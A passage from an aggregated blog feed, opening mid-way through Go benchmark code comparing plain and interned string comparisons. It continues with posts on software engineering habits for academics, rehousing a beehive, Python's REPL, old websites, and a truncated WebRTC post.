    &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResetTimer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompareIntern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResetTimer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompare1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompare10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompare100&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompareIntern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompareIntern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern100&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompareIntern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The speed of comparison of interned strings remains constant independently of the number of characters:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;BenchmarkStringCompare1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="mi"&gt;500000000&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="mf"&gt;2.93&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompare10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="mi"&gt;300000000&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="mf"&gt;6.21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompare100&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="mi"&gt;100000000&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="mf"&gt;13.2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;1000000000&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mf"&gt;2.60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;1000000000&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mf"&gt;2.60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;BenchmarkStringCompareIntern100&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="mi"&gt;1000000000&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mf"&gt;2.60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ns&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;op&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="conclusion"&gt;
&lt;h3&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;String interning can save memory at a cost of CPU time - every lookup from the intern pool requires hashing the input string (which may not work for CPU bound applications).&lt;/p&gt;
&lt;p&gt;Here is a real-life example - memory usage of the application went down from 70% to 45% after I deployed a new version with string interning enabled:&lt;/p&gt;
&lt;img alt="" src="https://artem.krylysov.com/images/2018-string-interning/container-mem.png" style="width: 604px;" /&gt;
&lt;/section&gt;</description><author>Artem Krylysov</author><pubDate>Wed, 12 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://artem.krylysov.com/blog/2018/12/12/string-interning-in-go/</guid></item><item><title>Software Engineering for Academia</title><link>https://bastian.rieck.me/blog/2018/software_engineering_academia/</link><description>&lt;p&gt;During the course of my research, I tend to write a lot of code. My
forays into the world of software development and my usage of C++
taught me the value of writing unit tests, following the mystical
&lt;em&gt;best practices&lt;/em&gt; (whatever they may be), and caring about the
quality of my code. It recently occurred to me that this perspective
is not too prevalent in academia because while software engineering
seems “nice” and useful, it also &lt;em&gt;seems&lt;/em&gt; to detract from
making progress, viz. from writing that code and pummelling it into
shape until it works. As one of my colleagues so aptly put it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The code does not have to be maintainable, it just has to survive
until the conference deadline has passed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While that seems about right, &lt;strong&gt;I argue that this perspective is
short-sighted&lt;/strong&gt;. Moreover, I claim that following some good practices
is bound to pay off for the following reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You will be able to trust your own code better.&lt;/li&gt;
&lt;li&gt;You will be able to trust the &lt;em&gt;results&lt;/em&gt; of your own code better.&lt;/li&gt;
&lt;li&gt;Modifications of said code (such as additional experiments that
have been requested by “Reviewer 2”, that fearsome beast
whose hooves have trampled many papers already) are easier.&lt;/li&gt;
&lt;li&gt;Your results will be stronger and less susceptible to
“classical” mistakes, such as incorrect parameters, wrong
cross-validation strategies, and so on.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, without further ado, here are three strategies that will be helpful:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a version control system such as &lt;code&gt;git&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Write tests.&lt;/li&gt;
&lt;li&gt;Refactor your code whenever it becomes too complicated.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I will not go into detail about the first one—the good people at
GitHub have a &lt;a href="https://try.github.io"&gt;pretty nice tutorial that covers the basics (and
more)!&lt;/a&gt;, but let us take a look at the other two
instead.&lt;/p&gt;
&lt;h1 id="writing-tests"&gt;Writing tests&lt;/h1&gt;
&lt;p&gt;As is so often the case in the software industry, testing (or more
precisely, &lt;em&gt;test-driven development&lt;/em&gt;) is hailed as &lt;em&gt;the&lt;/em&gt; solution to all
of your programming woes. I would not go so far. But there are different
strategies in testing that will be very helpful in academia:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Regression testing&lt;/em&gt;: this refers to writing a test that asserts the
basic functionality of your code. The best way to approach this kind
of tests is to have manual examples of what your code is &lt;em&gt;supposed&lt;/em&gt;
to do and check them against what the code &lt;em&gt;actually&lt;/em&gt; does. For
example, suppose you are writing code that calculates the connected
components of a graph. A simple functional test involves taking a
simple graph, figuring out its connected components with pen and
paper, and checking that the code arrives at the same answer. The
trick is not to stop now—instead of concluding that the code
is correct, you now write &lt;em&gt;additional code&lt;/em&gt; that performs the same
verification for you automatically (I will discuss later on
how you do this in practice). The idea behind this extra effort is
that you might change something in the connected component
calculation code in a few weeks and forget to check your results
again. However, if you have code available for checking the results
automatically, you will catch these &lt;em&gt;regressions&lt;/em&gt; easily (hence
the name).&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Sanity checks&lt;/em&gt;: often, our code is too complicated to have examples
that we can manually check. In these cases, it might make sense to
check simple &lt;em&gt;properties&lt;/em&gt; of the results of your code instead. For
example, if you have code that should yield a positive definite
matrix, a &lt;em&gt;sanity check&lt;/em&gt; might be a function that tests whether
the eigenvalues of said matrix are all positive. While less powerful
than functional tests or regression tests, sanity checks can
nonetheless be very helpful in restoring &lt;em&gt;your&lt;/em&gt; sanity.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Fuzz testing&lt;/em&gt;: this sort of testing refers to test cases in which
your function (or model, etc.) is subject to essentially
&lt;em&gt;random&lt;/em&gt; inputs. When you are writing a routine for calculating
the eigensystem of a matrix, for example, your code should be capable
of handling &lt;em&gt;any&lt;/em&gt; matrix (while raising some errors for those
that cannot decomposed, of course). By providing random inputs, you
make it less likely that you (inadvertently) cherry-picked some
matrix with a special property in your tests. Fuzz testing may also
be used to ensure robustness against malicious uses of your functions,
but if you &lt;em&gt;really&lt;/em&gt; need this, you should not read my blog but study
how to write secure code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course, even a test that is well thought-out will might not help in
detecting all errors down the line, but overall, writing some test cases
is worth the trouble. In most languages, testing frameworks are readily
available. Python has the great &lt;a href="https://docs.python.org/3/library/unittest.html"&gt;&lt;code&gt;unittest&lt;/code&gt; framework&lt;/a&gt;,
whereas C++ users have the choice of &lt;a href="https://github.com/abseil/googletest"&gt;Google Test&lt;/a&gt;, &lt;a href="https://www.boost.org/doc/libs/release/libs/test/doc/html/index.html"&gt;&lt;code&gt;Boost.Test&lt;/code&gt;&lt;/a&gt;, and many more. If, like me, you would like to roll your &lt;em&gt;own&lt;/em&gt; testing framework, look at the &lt;a href="https://github.com/Pseudomanifold/Aleph/tree/master/tests"&gt;test cases of Aleph&lt;/a&gt;, my library for topological data analysis.
&lt;a href="https://bastian.rieck.me/blog/2017/simple_unit_tests/"&gt;Another blog post of mine&lt;/a&gt;
explains some design choices and shows you how to combine testing with
&lt;a href="https://cmake.org"&gt;CMake&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="refactoring"&gt;Refactoring&lt;/h1&gt;
&lt;p&gt;Last, I briefly want to discuss another strategy for combatting the
complexities of your code: &lt;em&gt;refactoring&lt;/em&gt;. This is merely a fancy word
for &lt;em&gt;rewriting&lt;/em&gt; your code while not changing its intended
output (and at the risk of sounding like a broken record, &lt;em&gt;this&lt;/em&gt; is
exactly why you need unit tests). Of course, the general idea is to make
the code simpler—so that you will understand it even a month or
a year after you last touched it. Here are some general ideals you
should strive for when refactoring:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make information &lt;em&gt;local&lt;/em&gt;, not &lt;em&gt;global&lt;/em&gt;: try to provide a single flow
for all your information in your code. This means &lt;em&gt;not&lt;/em&gt; using global
variables, and relying on small state information whenever possible.&lt;/li&gt;
&lt;li&gt;Make your functions do &lt;em&gt;one&lt;/em&gt; thing: try to keep your function simple
or at least single-purposesebas. Think about splitting up large functions
into smaller ones.&lt;/li&gt;
&lt;li&gt;Strive for precision: use small classes with descriptive attributes,
in particular in languages like Python, to store information about a
state in your program rather than using tuples (with hard-coded
indices), for example.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, &lt;a href="https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i"&gt;refactoring can also go too far&lt;/a&gt;,
but if you are doing it to make your life easier and not just to waste
some time procrastinating, it will probably he helpful. You should also
take a look at &lt;a href="https://blog.codinghorror.com/code-smells"&gt;Jeff Atwood&amp;rsquo;s article on “code smells”&lt;/a&gt;
because recognizing these problematic patterns makes it easier to find
parts of your code that benefit from refactoring.&lt;/p&gt;
&lt;p&gt;Good luck with your coding efforts, until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 11 Dec 2018 22:01:00 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/software_engineering_academia/</guid></item><item><title>In Which the Bees get a New House</title><link>https://one.mikro2nd.net/pages/bees-on-the-move/</link><description>Rehoused the bees &amp;ndash; moved them out of the 5-frame catch-box they&amp;rsquo;ve been living in since who-knows-when, and into their spiffy new full-size brood-box.
It went messily.
Despite my inexperience and clumsiness, they moved in quite well and by midday were already calming down. I removed their old house in the evening and the guard-bees were moving in a much more normal fashion after their day on High Alert, though there were quite a few more of them than normal.</description><author>one mikro2nd</author><pubDate>Tue, 11 Dec 2018 16:31:53 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/bees-on-the-move/</guid></item><item><title>Recovering lost Python results in the REPL</title><link>https://utf9k.net/blog/lost-python-results/</link><description>Did you know that Python stores the previous output as a hidden variable?</description><author>utf9k</author><pubDate>Tue, 11 Dec 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/lost-python-results/</guid></item><item><title>3 weird old fashion websites still alive today</title><link>https://yasha.solutions/3-weird-old-fashion-websites-still-alive-today/</link><description>Yes, once this was the internet
Internet Explorer is EVIL! http://toastytech.com/evil/
ARNGREN – ecommerce from hell http://www.arngren.net/
LingsCar – UK best car shop https://www.lingscars.com/</description><author>Yasha Solutions</author><pubDate>Tue, 11 Dec 2018 07:17:33 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/3-weird-old-fashion-websites-still-alive-today/</guid></item><item><title>WebRTC Janus – CPU intensive</title><link>https://yasha.solutions/webrtc-janus-cpu-intensive/</link><description>WebRTC is great
